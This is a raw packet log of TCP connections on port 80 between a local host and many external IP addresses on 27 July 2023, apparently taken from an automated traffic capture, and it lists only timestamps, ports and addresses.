Jul 27, 2023 21:52:23.122543097 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.122591019 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.123171091 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.123215914 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.123225927 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.123262882 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.123276949 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.123323917 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.123342991 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.123384953 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.123387098 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.123425961 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.123428106 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.123473883 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.124044895 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.124093056 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.124157906 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.124198914 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.124202967 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.124239922 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.124243021 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.124288082 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.124397039 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.124447107 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.124454975 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.124502897 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.124511957 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.124562025 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.125005960 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.125050068 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.125060081 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.125092983 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.125097036 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.125137091 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.125166893 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.125195026 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.125207901 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.125225067 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.125258923 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.125858068 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.125905991 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.125921011 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.125946999 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.125947952 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.125988007 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.125989914 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.126030922 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.126053095 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.126071930 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.126076937 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.126122952 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.126676083 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.126719952 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.126746893 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.126760960 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.126774073 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.126802921 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.126822948 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.126847982 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.126852989 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.126888990 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.126889944 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.126954079 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.127573967 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.127638102 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.127671957 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.127686024 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.127701044 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.127751112 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.127791882 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.127798080 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.127832890 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.127841949 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.127877951 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.128401041 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.128443956 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.128448009 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.128482103 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.128487110 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.128528118 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.128528118 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.128571033 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.128576994 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.128611088 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.128612041 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.128650904 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.129198074 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.129240036 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.129281044 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.129283905 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.129322052 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.129327059 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.129363060 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.129405022 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.129411936 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.129445076 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.129448891 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.129487991 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.129489899 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.129532099 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.129547119 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.129571915 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.129615068 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.130218029 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130249023 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130271912 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.130285978 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.130295038 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130325079 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130335093 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.130362034 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.130578041 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130608082 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130639076 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130649090 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.130667925 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130675077 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.130703926 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.130721092 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.130745888 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130776882 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130789995 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.130830050 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.130920887 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130965948 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.130997896 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.131001949 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131011009 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131027937 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.131040096 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131118059 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131536007 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.131587982 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131612062 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.131736040 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.131763935 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.131786108 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131793022 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.131815910 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131823063 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.131844044 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131855011 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.131864071 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131886005 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.131897926 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131915092 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.131923914 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131953001 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.131961107 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.132117033 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.132515907 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.132550001 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.132569075 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.132577896 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.132608891 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.132626057 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.132626057 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.132661104 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.132715940 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.132745028 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.132772923 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.132787943 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.132802010 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.132812977 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.132833004 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.132858992 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.132863045 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.132874012 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.132951975 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.133467913 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.133501053 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.133511066 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.133531094 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.133537054 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.133562088 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.133572102 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.133591890 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.133599997 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.133622885 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.133627892 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.133655071 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.133661032 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.133687019 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.133692026 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.133717060 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.133723021 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.133748055 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.133753061 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.133786917 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.134361029 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.134414911 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.145530939 CEST	49729	80	192.168.2.4	3.94.41.167
Jul 27, 2023 21:52:23.146048069 CEST	49721	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:23.217597008 CEST	49722	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:23.224467993 CEST	80	49717	170.82.174.30	192.168.2.4
Jul 27, 2023 21:52:23.229393005 CEST	80	49726	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:23.229720116 CEST	80	49726	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:23.229811907 CEST	49726	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:23.243437052 CEST	80	49728	108.167.164.216	192.168.2.4
Jul 27, 2023 21:52:23.247430086 CEST	49726	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:23.251504898 CEST	80	49728	108.167.164.216	192.168.2.4
Jul 27, 2023 21:52:23.251595974 CEST	49728	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:23.281629086 CEST	49728	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:23.284830093 CEST	80	49729	3.94.41.167	192.168.2.4
Jul 27, 2023 21:52:23.284897089 CEST	80	49729	3.94.41.167	192.168.2.4
Jul 27, 2023 21:52:23.284935951 CEST	49729	80	192.168.2.4	3.94.41.167
Jul 27, 2023 21:52:23.284967899 CEST	49729	80	192.168.2.4	3.94.41.167
Jul 27, 2023 21:52:23.285788059 CEST	49729	80	192.168.2.4	3.94.41.167
Jul 27, 2023 21:52:23.303961992 CEST	49730	80	192.168.2.4	3.94.41.167
Jul 27, 2023 21:52:23.369311094 CEST	80	49717	170.82.174.30	192.168.2.4
Jul 27, 2023 21:52:23.369437933 CEST	49717	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:23.373617887 CEST	49731	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:52:23.396516085 CEST	80	49731	34.117.168.233	192.168.2.4
Jul 27, 2023 21:52:23.396750927 CEST	49731	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:52:23.411020041 CEST	80	49728	108.167.164.216	192.168.2.4
Jul 27, 2023 21:52:23.412149906 CEST	80	49726	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:23.412312984 CEST	49728	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:23.412564039 CEST	80	49726	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:23.413564920 CEST	49726	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:23.424967051 CEST	80	49729	3.94.41.167	192.168.2.4
Jul 27, 2023 21:52:23.428003073 CEST	80	49721	202.254.236.40	192.168.2.4
Jul 27, 2023 21:52:23.428119898 CEST	49721	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:23.443660975 CEST	80	49730	3.94.41.167	192.168.2.4
Jul 27, 2023 21:52:23.446996927 CEST	49730	80	192.168.2.4	3.94.41.167
Jul 27, 2023 21:52:23.503923893 CEST	80	49722	60.43.154.138	192.168.2.4
Jul 27, 2023 21:52:23.506988049 CEST	49722	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:23.603990078 CEST	49731	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:52:23.604041100 CEST	49730	80	192.168.2.4	3.94.41.167
Jul 27, 2023 21:52:23.626895905 CEST	80	49731	34.117.168.233	192.168.2.4
Jul 27, 2023 21:52:23.631228924 CEST	80	49731	34.117.168.233	192.168.2.4
Jul 27, 2023 21:52:23.631297112 CEST	49731	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:52:23.743187904 CEST	80	49730	3.94.41.167	192.168.2.4
Jul 27, 2023 21:52:23.743263960 CEST	80	49730	3.94.41.167	192.168.2.4
Jul 27, 2023 21:52:23.743331909 CEST	49730	80	192.168.2.4	3.94.41.167
Jul 27, 2023 21:52:23.894963980 CEST	49730	80	192.168.2.4	3.94.41.167
Jul 27, 2023 21:52:24.034116983 CEST	80	49730	3.94.41.167	192.168.2.4
Jul 27, 2023 21:52:24.180761099 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:24.181041002 CEST	49733	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:24.181205034 CEST	49734	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:24.208954096 CEST	80	49734	82.201.61.230	192.168.2.4
Jul 27, 2023 21:52:24.209069967 CEST	49734	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:24.213668108 CEST	80	49733	77.68.50.105	192.168.2.4
Jul 27, 2023 21:52:24.213785887 CEST	49733	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:24.322772026 CEST	49734	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:24.322909117 CEST	49733	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:24.327666044 CEST	49735	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:24.327754974 CEST	49736	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:52:24.327769041 CEST	49737	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:52:24.327960968 CEST	49738	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:52:24.343980074 CEST	80	49735	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:24.344129086 CEST	49735	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:24.344485998 CEST	49735	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:24.350785017 CEST	80	49734	82.201.61.230	192.168.2.4
Jul 27, 2023 21:52:24.351211071 CEST	80	49737	217.19.237.54	192.168.2.4
Jul 27, 2023 21:52:24.351324081 CEST	49737	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:52:24.351741076 CEST	49737	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:52:24.355524063 CEST	80	49733	77.68.50.105	192.168.2.4
Jul 27, 2023 21:52:24.355565071 CEST	80	49733	77.68.50.105	192.168.2.4
Jul 27, 2023 21:52:24.355650902 CEST	49733	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:24.357513905 CEST	80	49734	82.201.61.230	192.168.2.4
Jul 27, 2023 21:52:24.357624054 CEST	49734	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:24.360714912 CEST	80	49735	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:24.370444059 CEST	80	49735	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:24.371299982 CEST	49735	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:24.375351906 CEST	80	49737	217.19.237.54	192.168.2.4
Jul 27, 2023 21:52:24.376277924 CEST	80	49737	217.19.237.54	192.168.2.4
Jul 27, 2023 21:52:24.376416922 CEST	49737	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:52:24.431821108 CEST	80	49736	51.79.51.72	192.168.2.4
Jul 27, 2023 21:52:24.432393074 CEST	49736	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:52:24.451725006 CEST	80	49738	72.44.93.236	192.168.2.4
Jul 27, 2023 21:52:24.454091072 CEST	49738	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:52:24.481826067 CEST	49733	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:24.482184887 CEST	49734	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:24.482227087 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:24.483055115 CEST	49736	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:52:24.483098030 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:24.483302116 CEST	49739	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:52:24.483361959 CEST	49738	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:52:24.484450102 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:24.505495071 CEST	80	49719	135.181.73.98	192.168.2.4
Jul 27, 2023 21:52:24.507129908 CEST	49719	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:24.514605999 CEST	80	49733	77.68.50.105	192.168.2.4
Jul 27, 2023 21:52:24.514637947 CEST	80	49733	77.68.50.105	192.168.2.4
Jul 27, 2023 21:52:24.514770031 CEST	49733	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:24.516959906 CEST	80	49734	82.201.61.230	192.168.2.4
Jul 27, 2023 21:52:24.517098904 CEST	49734	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:24.587181091 CEST	80	49736	51.79.51.72	192.168.2.4
Jul 27, 2023 21:52:24.587502956 CEST	80	49736	51.79.51.72	192.168.2.4
Jul 27, 2023 21:52:24.587644100 CEST	49736	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:52:24.593624115 CEST	49736	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:52:24.607295990 CEST	80	49738	72.44.93.236	192.168.2.4
Jul 27, 2023 21:52:24.608485937 CEST	80	49738	72.44.93.236	192.168.2.4
Jul 27, 2023 21:52:24.608535051 CEST	80	49738	72.44.93.236	192.168.2.4
Jul 27, 2023 21:52:24.608658075 CEST	49738	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:52:24.697714090 CEST	80	49736	51.79.51.72	192.168.2.4
Jul 27, 2023 21:52:24.742117882 CEST	49740	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:52:24.755460978 CEST	49741	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:24.762165070 CEST	80	49740	13.248.169.48	192.168.2.4
Jul 27, 2023 21:52:24.762274981 CEST	49740	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:52:24.773323059 CEST	80	49741	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:24.773463011 CEST	49741	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:24.787292004 CEST	49740	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:52:24.792747021 CEST	49741	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:24.808310032 CEST	80	49740	13.248.169.48	192.168.2.4
Jul 27, 2023 21:52:24.808947086 CEST	80	49741	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:24.837107897 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:24.865993023 CEST	49742	80	192.168.2.4	54.161.222.85
Jul 27, 2023 21:52:24.875451088 CEST	49743	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:24.911740065 CEST	80	49743	81.2.194.241	192.168.2.4
Jul 27, 2023 21:52:24.914129019 CEST	49743	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:24.924577951 CEST	49743	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:24.938131094 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:24.938158989 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:24.938178062 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:24.938199043 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:24.938394070 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:24.938445091 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:24.943975925 CEST	80	49740	13.248.169.48	192.168.2.4
Jul 27, 2023 21:52:24.944113970 CEST	49740	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:52:24.962060928 CEST	80	49743	81.2.194.241	192.168.2.4
Jul 27, 2023 21:52:24.968149900 CEST	80	49743	81.2.194.241	192.168.2.4
Jul 27, 2023 21:52:24.968239069 CEST	49743	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:25.005661011 CEST	80	49742	54.161.222.85	192.168.2.4
Jul 27, 2023 21:52:25.007133961 CEST	49742	80	192.168.2.4	54.161.222.85
Jul 27, 2023 21:52:25.023308992 CEST	80	49741	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:25.023339033 CEST	80	49741	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:25.023431063 CEST	49741	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:25.059783936 CEST	49742	80	192.168.2.4	54.161.222.85
Jul 27, 2023 21:52:25.085539103 CEST	49743	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:25.086611032 CEST	49744	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:25.089570045 CEST	49741	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:25.105994940 CEST	80	49741	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:25.114126921 CEST	49745	80	192.168.2.4	154.203.14.100
